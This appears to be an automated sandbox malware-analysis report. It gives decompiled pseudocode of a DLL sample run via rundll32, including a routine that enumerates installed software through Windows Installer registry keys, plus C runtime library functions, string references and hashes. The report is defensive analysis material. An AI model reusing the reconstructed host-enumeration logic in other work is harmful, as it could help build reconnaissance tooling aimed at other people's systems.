				 *((intOrPtr*)(_t726 + 0x28)) =  *((intOrPtr*)( *((intOrPtr*)(_t724 - 0x40))));
				 *(_t726 + 0x20) = _t724 + 0x30;
				E000007FE7FEF4724700(_t724 + 0xb0, _t724 + 0x70, _t726 + 0x30, _t726 + 0x50);
				E000007FE7FEF4726F10(E000007FE7FEF4725E10(_t565, _t724 + 0x140, _t724 + 0x30, _t721, _t726 + 0x50),  *(_t724 + 0x1e8) != _t545, _t565,  *((intOrPtr*)(_t724 - 0x38)), _t724 + 0x30);
				E000007FE7FEF4724F50(_t565, _t724 + 0xb0);
				r13b = 1;
				if (_t763 == 0) goto 0xf4725b9e;
				if ( *((intOrPtr*)(_t763 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4725b95;
				RegCloseKey(??);
				E000007FE7FEF4741974(_t763);
				if ( *((long long*)(_t724 + 0x230)) - 8 < 0) goto 0xf4725bb4;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x218)));
				 *((long long*)(_t724 + 0x230)) = 7;
				r14d = 0;
				 *(_t724 + 0x228) = _t763;
				 *((intOrPtr*)(_t724 + 0x218)) = r14w;
				if ( *((long long*)(_t724 + 0x2d8)) - 8 < 0) goto 0xf4725be7;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x2c0)));
				 *((long long*)(_t724 + 0x2d8)) = 7;
				 *(_t724 + 0x2d0) = _t763;
				 *((intOrPtr*)(_t724 + 0x2c0)) = r14w;
				if ( *((long long*)(_t724 + 0x298)) - 8 < 0) goto 0xf4725c17;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x280)));
				 *((long long*)(_t724 + 0x298)) = 7;
				 *(_t724 + 0x290) = _t763;
				 *((intOrPtr*)(_t724 + 0x280)) = r14w;
				if ( *((long long*)(_t724 + 0x318)) - 8 < 0) goto 0xf4725c47;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x300)));
				 *((long long*)(_t724 + 0x318)) = 7;
				 *(_t724 + 0x310) = _t763;
				 *((intOrPtr*)(_t724 + 0x300)) = r14w;
				if ( *((long long*)(_t724 + 0x2f8)) - 8 < 0) goto 0xf4725c77;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x2e0)));
				 *((long long*)(_t724 + 0x2f8)) = 7;
				 *(_t724 + 0x2f0) = _t763;
				 *((intOrPtr*)(_t724 + 0x2e0)) = r14w;
				if ( *((long long*)(_t724 + 0x1f0)) - 8 < 0) goto 0xf4725ca7;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x1d8)));
				 *((long long*)(_t724 + 0x1f0)) = 7;
				 *(_t724 + 0x1e8) = _t763;
				 *((intOrPtr*)(_t724 + 0x1d8)) = r14w;
				if ( *((long long*)(_t724 + 0x210)) - 8 < 0) goto 0xf4725cd7;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x1f8)));
				 *((long long*)(_t724 + 0x210)) = 7;
				 *(_t724 + 0x208) = _t763;
				 *((intOrPtr*)(_t724 + 0x1f8)) = r14w;
				if ( *((long long*)(_t724 + 0x2b8)) - 8 < 0) goto 0xf4725d07;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x2a0)));
				if ( *((intOrPtr*)(_t565 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4725d1e;
				RegCloseKey(??);
				E000007FE7FEF4741974(_t565);
				if (r13b != 0) goto 0xf4725d60;
				if ( *((intOrPtr*)(_t768 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4725d42;
				RegCloseKey(??);
				E000007FE7FEF4741974(_t768);
				E000007FE7FEF4728D10(_t565, _t724 + 0x250, _t721, _t724);
				goto 0xf4725201;
				E000007FE7FEF4728D10(_t565, _t724 + 0x250, _t721 + 0x20, _t724);
				E000007FE7FEF4728D10(_t565, _t724 + 0x238, _t721 + 0x20, _t724);
				if ( &(_t718[0x10]) !=  *((intOrPtr*)(_t724 + 0x270))) goto 0xf47251d0;
				r15d =  *(_t726 + 0x70);
				if ( *((intOrPtr*)( *((intOrPtr*)(_t724 - 0x40)) + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4725db2;
				RegCloseKey(??);
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 - 0x40)));
				E000007FE7FEF4728D10( *((intOrPtr*)(_t724 - 0x40)), _t724 + 0x268,  *((intOrPtr*)(_t724 - 0x28)), _t724);
				r15d = r15d + 1;
				 *(_t726 + 0x70) = r15d;
				_t765 =  *(_t724 - 0x30) + 1;
				 *(_t724 - 0x30) = _t765;
				if (_t765 - 2 < 0) goto 0xf4725180;
				return E000007FE7FEF4740F90(0x10, _t450, _t451, _t452,  *(_t724 + 0x320) ^ _t726, _t724 + 0x30, _t726 + 0x30);
			}

0x7fef4724ff0
0x7fef4724ff0
0x7fef4724ff0
0x7fef4724ffc
0x7fef4725004
0x7fef472500b
0x7fef4725016
0x7fef472501e
0x7fef4725028
0x7fef472502f
0x7fef4725032
0x7fef4725039
0x7fef472503d
0x7fef4725040
0x7fef4725043
0x7fef472504b
0x7fef472504d
0x7fef4725050
0x7fef4725055
0x7fef472505e
0x7fef4725063
0x7fef4725069
0x7fef472507b
0x7fef4725080
0x7fef4725088
0x7fef472508d
0x7fef4725095
0x7fef472509c
0x7fef47250a3
0x7fef47250ae
0x7fef47250bc
0x7fef47250cd
0x7fef47250d2
0x7fef47250d5
0x7fef47250de
0x7fef47250e3
0x7fef47250e9
0x7fef47250fb
0x7fef4725100
0x7fef4725109
0x7fef472510b
0x7fef472510e
0x7fef4725116
0x7fef472511d
0x7fef4725124
0x7fef472512f
0x7fef472513d
0x7fef472514e
0x7fef4725156
0x7fef472515b
0x7fef472515d
0x7fef4725160
0x7fef4725165
0x7fef4725169
0x7fef472516d
0x7fef4725170
0x7fef4725175
0x7fef4725180
0x7fef4725185
0x7fef472518c
0x7fef4725194
0x7fef472519b
0x7fef47251a2
0x7fef47251b3
0x7fef47251b9
0x7fef47251c7
0x7fef47251d2
0x7fef47251d9
0x7fef47251e0
0x7fef47251f1
0x7fef47251f7
0x7fef47251fa
0x7fef4725208
0x7fef472520e
0x7fef4725217
0x7fef472521c
0x7fef4725221
0x7fef472522a
0x7fef4725231
0x7fef472523a
0x7fef4725243
0x7fef4725246
0x7fef4725253
0x7fef4725255
0x7fef4725257
0x7fef4725267
0x7fef472526b
0x7fef472526e
0x7fef4725270
0x7fef4725277
0x7fef4725280
0x7fef4725282
0x7fef4725286
0x7fef4725290
0x7fef4725296
0x7fef472529e
0x7fef47252a2
0x7fef47252a7
0x7fef47252b8
0x7fef47252c1
0x7fef47252cb
0x7fef47252d0
0x7fef47252e0
0x7fef47252e5
0x7fef47252ed
0x7fef47252f1
0x7fef47252f9
0x7fef4725303
0x7fef4725308
0x7fef472530c
0x7fef4725311
0x7fef4725319
0x7fef472531e
0x7fef4725326
0x7fef472532d
0x7fef4725334
0x7fef472533f
0x7fef472534d
0x7fef472535c
0x7fef4725361
0x7fef4725368
0x7fef472536d
0x7fef4725373
0x7fef4725385
0x7fef472538c
0x7fef4725392
0x7fef472539a
0x7fef47253a1
0x7fef47253a6
0x7fef47253ac
0x7fef47253b0
0x7fef47253b3
0x7fef47253b7
0x7fef47253be
0x7fef47253c2
0x7fef47253c5
0x7fef47253c7
0x7fef47253cf
0x7fef47253d5
0x7fef47253da
0x7fef47253df
0x7fef47253e3
0x7fef47253f0
0x7fef47253f6
0x7fef47253fb
0x7fef4725403
0x7fef4725407
0x7fef472540f
0x7fef4725417
0x7fef472541e
0x7fef4725425
0x7fef4725436
0x7fef472543c
0x7fef4725443
0x7fef472544d
0x7fef4725453
0x7fef4725457
0x7fef4725464
0x7fef4725469
0x7fef472546e
0x7fef4725477
0x7fef472547c
0x7fef472547e
0x7fef4725487
0x7fef472548e
0x7fef4725490
0x7fef4725496
0x7fef47254a0
0x7fef47254a3
0x7fef47254a5
0x7fef47254b5
0x7fef47254bb
0x7fef47254bd
0x7fef47254c5
0x7fef47254ce
0x7fef47254d3
0x7fef47254d7
0x7fef47254e3
0x7fef47254ec
0x7fef47254f2
0x7fef47254f7
0x7fef47254ff
0x7fef4725502
0x7fef4725506
0x7fef472550b
0x7fef472550b
0x7fef472551a
0x7fef4725520
0x7fef4725524
0x7fef472552e
0x7fef4725533
0x7fef4725533
0x7fef4725541
0x7fef4725546
0x7fef472554a
0x7fef4725553
0x7fef4725558
0x7fef4725558
0x7fef4725566
0x7fef472556b
0x7fef4725573
0x7fef4725577
0x7fef472557c
0x7fef4725580
0x7fef472558a
0x7fef472558f
0x7fef4725593
0x7fef4725598
0x7fef47255a0
0x7fef47255a5
0x7fef47255ad
0x7fef47255b4
0x7fef47255bb
0x7fef47255c6
0x7fef47255d4
0x7fef47255e3
0x7fef47255e8
0x7fef47255ef
0x7fef47255f4
0x7fef47255fa
0x7fef472560c
0x7fef4725613
0x7fef4725619
0x7fef4725621
0x7fef4725628
0x7fef472562d
0x7fef4725633
0x7fef4725637
0x7fef472563a
0x7fef472563e
0x7fef4725645
0x7fef4725649
0x7fef472564c
0x7fef472564e
0x7fef4725656
0x7fef472565c
0x7fef4725661
0x7fef4725666
0x7fef472566a
0x7fef4725677
0x7fef472567d
0x7fef4725682
0x7fef472568a
0x7fef472568e
0x7fef4725696
0x7fef472569c
0x7fef47256a5
0x7fef47256aa
0x7fef47256b0
0x7fef47256c2
0x7fef47256d6
0x7fef47256de
0x7fef47256e2
0x7fef47256f3
0x7fef47256f5
0x7fef47256fe
0x7fef4725703
0x7fef4725709
0x7fef472571b
0x7fef472572f
0x7fef4725734
0x7fef472573d
0x7fef472573f
0x7fef472574d
0x7fef472574f
0x7fef4725752
0x7fef4725754
0x7fef472575b
0x7fef472575d
0x7fef4725769
0x7fef4725772
0x7fef4725777
0x7fef4725784
0x7fef472578b
0x7fef4725796
0x7fef4725798
0x7fef47257a4
0x7fef47257ad
0x7fef47257b5
0x7fef47257bb
0x7fef47257c5
0x7fef47257c9
0x7fef47257cd
0x7fef47257d1
0x7fef47257db
0x7fef47257e0
0x7fef47257e4
0x7fef47257ee
0x7fef47257f3
0x7fef47257f6
0x7fef4725801
0x7fef4725806
0x7fef472580b
0x7fef472580b
0x7fef472581b
0x7fef472582f
0x7fef4725835
0x7fef4725840
0x7fef4725845
0x7fef472584a
0x7fef472584a
0x7fef472585a
0x7fef472586e
0x7fef4725874
0x7fef4725881
0x7fef4725888
0x7fef472588f
0x7fef47258a0
0x7fef47258b2
0x7fef47258b6
0x7fef47258c9
0x7fef47258d2
0x7fef47258d7
0x7fef47258e2
0x7fef47258e7
0x7fef47258ec
0x7fef47258ec
0x7fef47258fc
0x7fef4725910
0x7fef4725916
0x7fef4725921
0x7fef4725926
0x7fef472592b
0x7fef472592b
0x7fef472593b
0x7fef472594f
0x7fef4725955
0x7fef4725960
0x7fef4725965
0x7fef472596a
0x7fef472596a
0x7fef472597a
0x7fef472598e
0x7fef4725994
0x7fef472599f
0x7fef47259a4
0x7fef47259a9
0x7fef47259a9
0x7fef47259b9
0x7fef47259cd
0x7fef47259d3
0x7fef47259e0
0x7fef47259e7
0x7fef47259ee
0x7fef47259ff
0x7fef4725a15
0x7fef4725a28
0x7fef4725a31
0x7fef4725a44
0x7fef4725a4e
0x7fef4725a58
0x7fef4725a64
0x7fef4725a6b
0x7fef4725a73
0x7fef4725a76
0x7fef4725a7a
0x7fef4725a83
0x7fef4725a91
0x7fef4725a97
0x7fef4725aa0
0x7fef4725aa5
0x7fef4725aaf
0x7fef4725abe
0x7fef4725ac4
0x7fef4725acd
0x7fef4725ad2
0x7fef4725adc
0x7fef4725aeb
0x7fef4725af1
0x7fef4725afc
0x7fef4725b03
0x7fef4725b0c
0x7fef4725b1a
0x7fef4725b26
0x7fef4725b2e
0x7fef4725b48
0x7fef4725b64
0x7fef4725b71
0x7fef4725b76
0x7fef4725b7c
0x7fef4725b8d
0x7fef4725b8f
0x7fef4725b98
0x7fef4725ba6
0x7fef4725baf
0x7fef4725bb4
0x7fef4725bbf
0x7fef4725bc2
0x7fef4725bc9
0x7fef4725bd9
0x7fef4725be2
0x7fef4725be7
0x7fef4725bf2
0x7fef4725bf9
0x7fef4725c09
0x7fef4725c12
0x7fef4725c17
0x7fef4725c22
0x7fef4725c29
0x7fef4725c39
0x7fef4725c42
0x7fef4725c47
0x7fef4725c52
0x7fef4725c59
0x7fef4725c69
0x7fef4725c72
0x7fef4725c77
0x7fef4725c82
0x7fef4725c89
0x7fef4725c99
0x7fef4725ca2
0x7fef4725ca7
0x7fef4725cb2
0x7fef4725cb9
0x7fef4725cc9
0x7fef4725cd2
0x7fef4725cd7
0x7fef4725ce2
0x7fef4725ce9
0x7fef4725cf9
0x7fef4725d02
0x7fef4725d16
0x7fef4725d18
0x7fef4725d21
0x7fef4725d29
0x7fef4725d3a
0x7fef4725d3c
0x7fef4725d45
0x7fef4725d52
0x7fef4725d5b
0x7fef4725d67
0x7fef4725d74
0x7fef4725d88
0x7fef4725d96
0x7fef4725daa
0x7fef4725dac
0x7fef4725db5
0x7fef4725dc2
0x7fef4725dc7
0x7fef4725dca
0x7fef4725dcf
0x7fef4725dd2
0x7fef4725dda
0x7fef4725e0d

Strings

SystemComponent, xrefs: 000007FEF47256B6, 000007FEF472570F
\Products, xrefs: 000007FEF47252D6
Software\Microsoft\Windows\CurrentVersion\Installer\UserData\, xrefs: 000007FEF47252AD, 000007FEF472550F
Software\Microsoft\Windows\CurrentVersion\Installer\UserData, xrefs: 000007FEF472506F, 000007FEF47250EF
S-1-5-18, xrefs: 000007FEF4725233
DisplayName, xrefs: 000007FEF472584E
DisplayIcon, xrefs: 000007FEF47259AD
\Products\, xrefs: 000007FEF4725537
DisplayVersion, xrefs: 000007FEF47258F0
ProductIcon, xrefs: 000007FEF472596E
\InstallProperties, xrefs: 000007FEF472555C
ProductName, xrefs: 000007FEF472580F
InstallLocation, xrefs: 000007FEF472592F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID: DisplayIcon$DisplayName$DisplayVersion$InstallLocation$ProductIcon$ProductName$S-1-5-18$Software\Microsoft\Windows\CurrentVersion\Installer\UserData$Software\Microsoft\Windows\CurrentVersion\Installer\UserData\$SystemComponent$\InstallProperties$\Products$\Products\
API String ID: 0-3561638978
Opcode ID: e1cda365e5458b3354fa5fc28afb7633d52392e5d0c836d5ae598b34087ca7d0
Instruction ID: b35eb8c8f8b2a1da1e6adf1cf08b7c96790aa2207b1ff514e14ac1441779ce2c
Opcode Fuzzy Hash: e1cda365e5458b3354fa5fc28afb7633d52392e5d0c836d5ae598b34087ca7d0
Instruction Fuzzy Hash: 3D825C32A1EA82C9EBA0DF24D884BED23E1F744358F405225DA5D57AF9DF78E654CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47425E4 Relevance: 22.7, APIs: 15, Instructions: 230
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF47425E4(intOrPtr* __rax, void* __rcx, void* __rdx, signed int _a8, signed int _a24, signed int _a32) {
				void* _t7;

				_a24 = _a24 & 0x00000000;
				_a32 = _a32 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				if (__rcx != 0) goto 0xf4742621;
				_t7 = E000007FE7FEF4742E3C(__rax);
				 *__rax = 0x16;
				E000007FE7FEF47480D8(_t7);
				return 0x16;
			}

0x7fef47425ef
0x7fef47425f3
0x7fef47425f7
0x7fef4742604
0x7fef4742606
0x7fef4742610
0x7fef4742612
0x7fef4742620

APIs

_errno.LIBCMT ref: 000007FEF4742606

Part of subcall function 000007FEF4742E3C: _getptd_noexit.LIBCMT ref: 000007FEF4742E40

_invalid_parameter_noinfo.LIBCMT ref: 000007FEF4742612
_errno.LIBCMT ref: 000007FEF474263C
__tzset.LIBCMT ref: 000007FEF4742659
_get_daylight.LIBCMT ref: 000007FEF4742662
_get_daylight.LIBCMT ref: 000007FEF4742673
_get_daylight.LIBCMT ref: 000007FEF4742684
_gmtime64_s.LIBCMT ref: 000007FEF47426AF
_isindst.LIBCMT ref: 000007FEF47426C8
_gmtime64_s.LIBCMT ref: 000007FEF47426E4
_gmtime64_s.LIBCMT ref: 000007FEF4742703
_isindst.LIBCMT ref: 000007FEF4742718
_invoke_watson.LIBCMT ref: 000007FEF47428BE
_invoke_watson.LIBCMT ref: 000007FEF47428D4
_invoke_watson.LIBCMT ref: 000007FEF47428EA

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _get_daylight_gmtime64_s_invoke_watson$_errno_isindst$__tzset_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1630928216-0
Opcode ID: f2419bed80b81e8ba8c7e36314624d575bea1b9eea513fe06f2b2cf71dbd660e
Instruction ID: 99640409d7a612e2d1a27a045c96718573d21542caff047151f664ef52bcedad
Opcode Fuzzy Hash: f2419bed80b81e8ba8c7e36314624d575bea1b9eea513fe06f2b2cf71dbd660e
Instruction Fuzzy Hash: 5D81A7B2B1924AC7EB989F35C851B7862D5E754788F44C035DA0D8ABF9EB3DE5118700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4746ECC Relevance: 16.6, APIs: 11, Instructions: 146
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E000007FE7FEF4746ECC(void* __edx, void* __edi, void* __esp, void* __rcx, void* __r8, signed long long* _a40) {
				signed int _v72;
				char _v200;
				signed int _v232;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t11;
				signed int _t15;
				void* _t20;
				void* _t24;
				void* _t25;
				signed long long _t36;
				signed long long _t37;
				signed long long* _t38;
				void* _t53;
				signed long long _t56;
				void* _t60;

				_t57 = __r8;
				_t24 = __edi;
				_t36 =  *0xf4777530; // 0xf9634ebbaa1d
				_t37 = _t36 ^ _t56;
				_v72 = _t37;
				_t38 = _a40;
				_t25 = r9d;
				_t60 = __rcx;
				if (__edx != 1) goto 0xf4747008;
				r8d = _t25;
				r14d = 0;
				_v232 = 0x80;
				_t11 = E000007FE7FEF475221C(_t25, __esp, __edx - 1, _t38, __rcx, __r8, _t53, __r8,  &_v200);
				r15d = _t11;
				if (_t11 != 0) goto 0xf4746f90;
				if (GetLastError() != 0x7a) goto 0xf4746fb8;
				_v232 = _v232 & r14d;
				r9d = 0;
				r8d = _t25;
				if (E000007FE7FEF475221C(_t25, __esp, GetLastError() - 0x7a, _t38, __rcx, __r8, _t53, __r8,  &_v200) == 0) goto 0xf4746fb8;
				E000007FE7FEF4746A70(_t38, _t13, __r8,  &_v200, _t53, __r8);
				if (_t37 == 0) goto 0xf4746fb8;
				r8d = _t25;
				_t50 = __r8;
				r14d = 1;
				_v232 = r15d;
				_t15 = E000007FE7FEF475221C(_t25, __esp, _t37, _t38, _t60, __r8, _t53, __r8, _t37);
				r15d = _t15;
				if (_t15 == 0) goto 0xf4746fb0;
				E000007FE7FEF4746A70(_t38, r15d, __r8, _t37, r15d, __r8);
				 *_t38 = _t37;
				if (_t37 != 0) goto 0xf4746fdd;
				if (r14d == 0) goto 0xf4746fb8;
				E000007FE7FEF4741E88(_t37, _t37);
				return E000007FE7FEF4740F90(_t20, _t24, _t25, __esp, _v72 ^ _t56, _t50, _t57);
			}

0x7fef4746ecc
0x7fef4746ecc
0x7fef4746ede
0x7fef4746ee5
0x7fef4746ee8
0x7fef4746ef0
0x7fef4746ef8
0x7fef4746efe
0x7fef4746f04
0x7fef4746f0f
0x7fef4746f1a
0x7fef4746f1d
0x7fef4746f25
0x7fef4746f2a
0x7fef4746f2f
0x7fef4746f3a
0x7fef4746f3c
0x7fef4746f41
0x7fef4746f44
0x7fef4746f57
0x7fef4746f60
0x7fef4746f6b
0x7fef4746f70
0x7fef4746f73
0x7fef4746f79
0x7fef4746f7f
0x7fef4746f84
0x7fef4746f89
0x7fef4746f8e
0x7fef4746f9b
0x7fef4746fa3
0x7fef4746fa9
0x7fef4746fae
0x7fef4746fb3
0x7fef4746fdc

APIs

__crtGetLocaleInfoA.LIBCMT ref: 000007FEF4746F25

Part of subcall function 000007FEF475221C: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000007FEF475223C
Part of subcall function 000007FEF475221C: __crtGetLocaleInfoA_stat.LIBCMT ref: 000007FEF475225A

GetLastError.KERNEL32 ref: 000007FEF4746F31
__crtGetLocaleInfoA.LIBCMT ref: 000007FEF4746F4D
__crtGetLocaleInfoA.LIBCMT ref: 000007FEF4746F84
_calloc_crt.LIBCMT ref: 000007FEF4746F60

Part of subcall function 000007FEF4746A70: _calloc_impl.LIBCMT ref: 000007FEF4746A9E

_calloc_crt.LIBCMT ref: 000007FEF4746F9B
__crtGetLocaleInfoEx.LIBCMT ref: 000007FEF4747022
_calloc_crt.LIBCMT ref: 000007FEF4747034
__crtGetLocaleInfoEx.LIBCMT ref: 000007FEF474704C
__crtGetLocaleInfoEx.LIBCMT ref: 000007FEF4747083
_invoke_watson.LIBCMT ref: 000007FEF47470AB

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Locale$Info__crt$_calloc_crt$A_statErrorLastUpdateUpdate::__calloc_impl_invoke_watson
String ID:
API String ID: 2075842098-0
Opcode ID: a452d342535da7796e65eaa745d8e9198df0be98b5d31533c5f11216e40fbe7f
Instruction ID: ff9b84059da789702426998c501773da8ae367d3f357f12dc14677db2d7061d3
Opcode Fuzzy Hash: a452d342535da7796e65eaa745d8e9198df0be98b5d31533c5f11216e40fbe7f
Instruction Fuzzy Hash: 7B51D112B1F296C5FBE09A62E911F7A52C1A785FC4F448431AE4D5BBF6EE3CE4018750

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4734190 Relevance: 14.8, APIs: 6, Strings: 2, Instructions: 752
COMMONCrypto

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF4734190(void* __ebx, void* __edi, void* __esi, long long __rbx, void* __rcx, void* __rdx, long long __rsi, signed int __r8, signed long long __r9, void* __r11) {
				void* __rdi;
				void* __rbp;
				void* __r14;
				void* _t421;
				void* _t486;
				void* _t487;
				void* _t522;
				void* _t523;
				void* _t524;
				void* _t539;
				void* _t605;
				signed long long _t606;
				signed long long _t609;
				intOrPtr _t610;
				intOrPtr* _t622;
				signed long long _t623;
				void* _t631;
				void* _t640;
				intOrPtr _t641;
				intOrPtr _t642;
				signed long long _t647;
				intOrPtr* _t677;
				intOrPtr _t679;
				intOrPtr* _t686;
				intOrPtr* _t692;
				void* _t717;
				signed long long _t723;
				signed long long _t793;
				signed long long _t809;
				signed long long _t833;
				void* _t835;
				intOrPtr _t840;
				void* _t842;
				void* _t843;
				signed long long _t844;
				void* _t864;
				intOrPtr _t866;
				signed long long _t875;
				void* _t895;
				void* _t896;
				void* _t900;
				signed long long _t901;

				_t896 = __r11;
				_t875 = __r9;
				_t838 = __rsi;
				_t522 = __esi;
				_t521 = __edi;
				_t486 = __ebx;
				_t605 = _t843;
				_t842 = _t605 - 0x928;
				_t844 = _t843 - 0xa00;
				 *((long long*)(_t844 + 0x70)) = 0xfffffffe;
				 *((long long*)(_t605 + 0x18)) = __rbx;
				 *((long long*)(_t605 + 0x20)) = __rsi;
				_t606 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t842 + 0x8f0) = _t606 ^ _t844;
				_t645 = __rdx;
				_t900 = __rcx;
				r15d = 0;
				 *((intOrPtr*)(_t842 + 0x4d0)) = r15w;
				r8d = 0x206;
				E000007FE7FEF47486A0(_t487, 0, __edi, _t524, _t842 + 0x4d2, __rdx, __r8);
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				 *((long long*)(_t842 + 0x90)) = 7;
				 *(_t842 + 0x88) = _t901;
				 *((intOrPtr*)(_t842 + 0x78)) = r15w;
				if ( *((intOrPtr*)(_t842 + 0x4d0)) != r15w) goto 0xf473422c;
				r8d = r15d;
				goto 0xf473424a;
				asm("o16 nop [eax+eax]");
				if ( *((intOrPtr*)(_t842 + 0x4d0 + ((__r8 | 0xffffffff) + 1) * 2)) != r15w) goto 0xf4734240;
				E000007FE7FEF4728E10(__rdx, _t842 + 0x78, _t842 + 0x4d0, __rsi, (__r8 | 0xffffffff) + 1);
				_t773 =  >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78;
				_t609 =  *(_t842 + 0x88);
				_t849 = ( >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78) + _t609 * 2;
				_t775 =  >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78;
				 *((long long*)(_t842 - 0x30)) = 0xf;
				 *(_t842 - 0x38) = _t901;
				 *((char*)(_t842 - 0x48)) = 0;
				E000007FE7FEF473F620(_t645, _t842 - 0x48,  >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78, _t838, _t842, ( >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78) + _t609 * 2, __rcx);
				 *((long long*)(_t842 + 0x30)) = 0xf;
				 *(_t842 + 0x28) = _t901;
				 *((char*)(_t842 + 0x18)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t645, _t842 + 0x18, 0xf476a763, _t838, ( >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78) + _t609 * 2);
				E000007FE7FEF4738E00(_t645, _t842 + 0x18, _t838, _t842, ( >=  ?  *((void*)(_t842 + 0x78)) : _t842 + 0x78) + _t609 * 2, _t875);
				_t35 = _t900 + 0x5c0; // 0x5c0
				E000007FE7FEF47234E0(0, __edi, _t522,  *((long long*)(_t842 + 0x90)) - 8, _t645, _t844 + 0x30, _t35, _t875, _t896);
				E000007FE7FEF473D9A0(_t609, _t842 - 0x28, _t609);
				r8d = r8d ^ r8d;
				E000007FE7FEF473C8D0(_t645, _t842 + 0x18, _t609, _t833, _t838, _t842, _t609, _t875 | 0xffffffff);
				if ( *((long long*)(_t842 - 0x10)) - 0x10 < 0) goto 0xf473430a;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 - 0x28)));
				 *((long long*)(_t842 - 0x10)) = 0xf;
				 *(_t842 - 0x18) = _t901;
				 *((char*)(_t842 - 0x28)) = 0;
				if ( *((long long*)(_t844 + 0x48)) - 0x10 < 0) goto 0xf473432c;
				E000007FE7FEF4741974( *((intOrPtr*)(_t844 + 0x30)));
				r8d = 0x118;
				E000007FE7FEF47486A0(_t487, 0, __edi, _t524, _t842 + 0x290, _t609, _t609);
				E000007FE7FEF473B210(0, _t645, _t842 + 0x290, _t838);
				_t781 =  >=  ?  *((void*)(_t842 + 0x18)) : _t842 + 0x18;
				r8d = 0x22;
				E000007FE7FEF473CF70(_t609, _t842 + 0x2a8,  >=  ?  *((void*)(_t842 + 0x18)) : _t842 + 0x18);
				r12d = 4;
				_t610 =  *((intOrPtr*)(_t842 + 0x290));
				if (_t609 != 0) goto 0xf473439d;
				if ( *((long long*)(_t842 +  *((intOrPtr*)(_t610 + 4)) + 0x290 + 0x48)) != 0) goto 0xf47343a8;
				goto 0xf47343a8;
				_t495 =  ==  ? r12d : r15d;
				r8d = 0;
				E000007FE7FEF47330B0( ==  ? r12d : r15d,  *((intOrPtr*)(_t842 +  *((intOrPtr*)(_t610 + 4)) + 0x290 + 0x48)) - ( >=  ?  *((void*)(_t842 + 0x18)) : _t842 + 0x18), _t842 +  *((intOrPtr*)(_t610 + 4)) + 0x290);
				E000007FE7FEF473A8E0(_t842 + 0x290,  >=  ?  *((void*)(_t842 + 0x18)) : _t842 + 0x18);
				E000007FE7FEF47231D0(__ebx, __edi, _t610, _t645, _t842 + 0x138, _t833, _t838, _t842, _t842 - 0x48);
				E000007FE7FEF473D9E0(_t645, _t842 + 0x2a0, _t842 + 0x138);
				E000007FE7FEF473D010(_t645, _t842 + 0x2a8, _t838);
				if (_t610 != 0) goto 0xf473441c;
